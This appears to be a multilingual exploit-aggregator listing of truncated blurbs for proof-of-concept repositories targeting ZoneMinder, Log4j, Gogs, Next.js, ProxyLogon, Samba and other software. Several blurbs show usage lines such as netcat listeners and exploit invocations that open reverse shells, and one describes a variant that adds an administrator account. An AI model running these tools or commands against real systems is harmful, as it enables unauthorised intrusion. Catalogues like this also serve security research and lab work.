CVE-2023-26035

POC para CVE-2023-26035 Funciona para ZoneMinder versiones anteriores a 1.36.33 y 1.37.33 Vulnerabilidad: Ejecución remota de código RCE Uso root@kitploit: └─➜ python3 poc.py -h usage: poc.py -h --target TARGET --cmd CMD poc.py: error: the following arguments are required: --target, --cmd Curl...

log4j-shell-poc

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 最近在 log4j（一个广泛用于 Elasticsearch、Minecraft 等众多场景的 Java 日志库）中发现了一个新漏洞。 本仓库包含一个示例漏洞应用及其概念验证（POC）利用代码。 概念验证（POC） 作为 PoC，这里有一个 Python 文件可自动化整个过程。 环境要求： root@kitploit: pip install -r requirements.txt 使用方法： 启动一个 netcat 监听器以接收反弹 Shell 连接。 root@kitploit: nc...

CVE-2019-12735

CVE-2019-12735 该CVE在neovim 0.3.6和vim 8.1.1365之后被修复。 POC root@kitploit: vim demo1.txt 远程shell 1. 创建恶意文本文件： root@kitploit: gcc makedemo3.c -o makedemo3 ./makedemo3 2. 在另一个会话中构建客户端： root@kitploit: nc -vlp 9999 3. 打开恶意文件： root@kitploit: vim demo3.txt 之后，您可以在会话中执行任意Linux命令。 参考 A POC demo on github...

jboss-autopwn

⚠️ NOTE: This tool is no longer under active maintenance. JBoss Autopwn 脚本 Christian G. Papathanasiou http://www.spiderlabs.com 简介 该JBoss脚本在目标JBoss AS服务器上部署一个JSP Shell。部署后，脚本利用其上传和命令执行功能提供一个交互式会话。 功能包括： 多平台支持——已在Windows、Linux和Mac目标上测试 支持绑定Shell和反向连接Shell 针对Windows目标的Meterpreter Shell和VNC支持 安装 依赖项包...

Fenrir

Fenrir Publicado como código abierto por NCC Group Plc - http://www.nccgroup.com/ Desarrollado por Dave Spencer, david dot spencer at nccgroup dot com http://www.github.com/nccgroup/Fenrir Publicado bajo AGPL, consulte LICENSE para más información Descripción Fenrir fue creado para demostrar que ...

CVE-Vulnerability-Research-Exploit-Analysis

CVE-Vulnerability-Research-Exploit-Analysis Un proyecto estructurado de pruebas de penetración que investiga y ejecuta exploits de CVE reales en un entorno sandbox controlado. Los objetivos incluyeron Windows 95 y Windows XP SP3 ejecutándose en una red virtual de múltiples máquinas construida con...

CVE-2025-55182-poc

CVE-2025-55182-poc Una prueba de concepto PoC para CVE-2025-55182 , que apunta a una vulnerabilidad de Ejecución Remota de Código RCE no autenticada en Next.js Server Actions. Este exploit abusa de la contaminación de prototipos durante la deserialización de cargas útiles multipart de React Serve...

CVE-2025-8110

Gogs RCE 漏洞利用 CVE-2025-8110 针对 CVE-2025-8110 的概念验证 — 通过符号链接绕过和 sshCommand 注入实现 Gogs 远程代码执行。 描述 该漏洞利用 Gogs API 中的符号链接绕过，覆盖 .git/config 并注入恶意 sshCommand，从而执行反弹 Shell。 需求 Python 3.12+ 已安装 Git 有效的 Gogs 凭据 Gogs API 令牌 安装 root@kitploit: git clone https://github.com/X4BROZER/CVE-2025-8110.git cd...

-Pluck-CMS-RCE-CVE-2023-50564

exploit.py 🐍💥 ⚠️ 法律/道德声明：此脚本仅用于授权环境 ✅（CTF、实验室、经过许可的渗透测试）。请勿在未经授权的系统上使用 ❌。 🧾 此脚本功能是什么？ exploitgreenhorn.py 自动化了针对 Web 面板的典型漏洞利用链： ✅ 登录面板（需要有效密码） ✅ 在内存中创建 ZIP（不写本地文件）📦 ✅ 将包含反向 shell 的 rev.php 放入其中 🔁🐚 ✅ 将 ZIP 作为“模块”上传到面板 🧩⬆️ ✅ 通过访问已上传的 PHP URL 触发 payload 🚀 📌 模块名随机生成以避免冲突（例如：abcdefg、xqpmzui 等）🎲 🧰 环境要求...

Exploiting-Samba-on-Metasploitable-2

Explotando-Samba-en-Metasploitable-2 Mi objetivo aquí fue utilizar metasploit desde una máquina Kali Linux para explotar una vulnerabilidad conocida de samba CVE-2007-2447. Esto se hace con el fin de infiltrar una máquina Metasploitable 2 con una shell reversa para acceder a la carpeta raíz. Una...

THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j Esta sala se basa en explotar la notoria vulnerabilidad Log4j CVE-2021-44228, también conocida como Log4Shell. La debilidad permite a los atacantes ejecutar código remoto mediante la inyección de payloads maliciosos en los mensajes de registro. TAREA 1 – INTRODUCCIÓN...

ProxyLogon-CVE-2021-26855

CVE-2021-26855 这是proxylogon的POC的修改版本。它不是启动"whoami"，而是创建一个新用户，将该用户添加到管理员组并创建一个反向shell。原始POC代码可在此处找到：https://www.exploit-db.com/exploits/49663 用法：python proxylogon.py...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE 用法 命令执行： root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami 反向 Shell： root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 免责声明...

MegaQuagga_Pentesting_Report

MegaQuagga Pentesting 报告 本仓库包含针对 WordPress 环境执行的完整 Web 应用程序渗透测试。评估内容包括漏洞发现、利用、后渗透以及真实世界攻击影响文档。 🔍 项目概述 目标：运行易受攻击的 Social Warfare 插件的 WordPress 环境 利用的 CVE：CVE-2019-9978 攻击类型：未授权远程代码执行（RCE） 使用工具：Burp Suite、Metasploit、Netcat、Linux、WordPress 利用工具 🛠 主要成果 识别并利用了一个关键的 RCE 漏洞 执行了反向 Shell 并升级为 Meterpreter ...

bepr

bepr bepr 是一个小巧的认证客户端/服务器反向 Shell 程序，基于出站 WebSocket 连接。 单个二进制文件涵盖所有三种模式：服务器模式、客户端模式和用户模式。它打包了 rpm、deb 和 pkg 的安装指引，体积约 1MB。 我创建 bepr 是因为我经常旅行，希望远程控制家里的电脑，同时又不让它们暴露在公共互联网上。只需一个域名（用于 TLS）和一台服务器即可运行。 使用方法 访问 https://github.com/Aperocky/bepr/releases 找到适用于你平台的软件包版本。下载后使用以下命令安装： root@kitploit: sudo...

CVE-2007-2447

CVE-2007-2447 PoC: Ejecución remota de comandos "usermap script" de Samba CVE histórico. Este repositorio contiene un pequeño script de prueba de concepto para investigación y revisión educativa. El script principal es usermapscriptCommandExecution.py. Referencia:...

unrealircd3.2.8.1-local-exploit

Tested on Metasploitable 3 USAGE Ruby On Attacker's shell root@kitploit: nc -nlvp 1111 On victim's shell root@kitploit: ruby exploit.rb 127.0.0.1 Expected output on attacker's shell root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Pytho...

POC-CVE-2025-55182

POC-CVE-2025-55182 credit : https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478 root@kitploit: usage: CVE-2025-55182-Exp.py -h -u URL -l LIST -c COMMAND -i --revshell LHOST LPORT -t THREADS --proxy PROXY --timeout TIMEOUT -v Usage root@kitploit: Single target exploit python3...

CVE-2025-62369

CVE-2025-62369 PoC Este script explota CVE-2025-62369 en Xibo CMS para ejecutar un comando de reverse shell. Autor Nombre: Cristian Branet GitHub: cristibtz Uso 1. Iniciar un listener root@kitploit: nc -lvnp 2. Ejecutar el exploit root@kitploit: python3 exploit.py -u "http://:" -s "" -i -p : IP...

CVE-2015-8522.RCE

CVE-2015-8522 La aplicación Tivoli FastBack Server 6.1.4 es vulnerable a un desbordamiento de búfer basado en pila que permite a los actores de amenazas obtener ejecución de código arbitrario ACE a través de una conexión TCP remota. El PoC proporcionado en este repositorio aprovecha esta...